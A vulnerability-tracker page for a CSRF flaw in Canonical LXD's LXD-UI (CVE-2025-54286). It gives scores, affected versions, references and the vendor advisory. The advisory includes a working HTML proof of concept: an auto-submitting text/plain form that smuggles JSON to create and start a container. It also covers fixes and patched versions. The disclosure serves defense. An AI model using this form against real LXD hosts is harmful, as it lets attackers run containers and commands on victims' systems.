CVE-2025-54286
highpriority · track · 35EPSS 0.001 · 2 %ileEUUSEPSS · scored 2026-10-27
Cross-Site Request Forgery (CSRF) in LXD-UI in Canonical LXD versions >= 5.0 on Linux allows an attacker to create and start container instances without user consent via crafted HTML form submissions exploiting client certificate authentication.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.8–8.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (11)
Products and version ranges known to be affected.
- Go github.com/canonical/lxd0.0.0-20220401034332-1e1349e3cbf3 → 0.0.0-20250827065555-0494f5d47e41osvUSpkg:golang/github.com/canonical/lxd
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-p8hw-rfjg-689hCanonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI2025-10-02ghsa · osvUS
### Description OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted. However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary. Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when `Content-Type` is `text/plain` or `application/x-www-form-urlencoded`, CSRF attacks exploiting HTML form submissions are possible. ### Reproduction Steps 1. Prepare a malicious website controlled by the attacker 2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit: This exploit code automatically sends a JSON string as text/plain to create an instance when rendered. Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation. ```html <html> <body> <form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form"> <input type="hidden" name='{"' id="input"> <input type="submit"> </form> <script> const i = document.getElementById('input'); i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`; document.getElementById('form').submit(); </script> </body> </html> ``` 3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2 4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started ### Risk The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website. Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init. ### Countermeasures The most effective countermeasure is to strictly enforce `Content-Type` validation at API endpoints. Specifically, change the implementation to reject requests when `Content-Type` is not `application/json`. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack. Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client. ### Patches | LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI | ### References Reported by GMO Flatt Security Inc.
- GO-2025-4003CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI in github.com/canonical/lxd2025-11-05vendor · osvUS
CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI in github.com/canonical/lxd
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (5)
External citations — patches, advisories, analysis.
- https://github.com/canonical/lxdPatchcnnvd
- https://github.com/canonical/lxd/security/advisories/GHSA-p8hw-rfjg-689hcnnvd
- https://vigilance.fr/vulnerability/Canonical-LXD-Incus-multiple-vulnerabilities-dated-17-10-2025-48518cnnvd
- https://github.com/canonical/lxd/security/advisories/GHSA-p8hw-rfjg-689henisa_euvd
- https://github.com/canonical/lxd/security/advisories/GHSA-p8hw-rfjg-689hExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan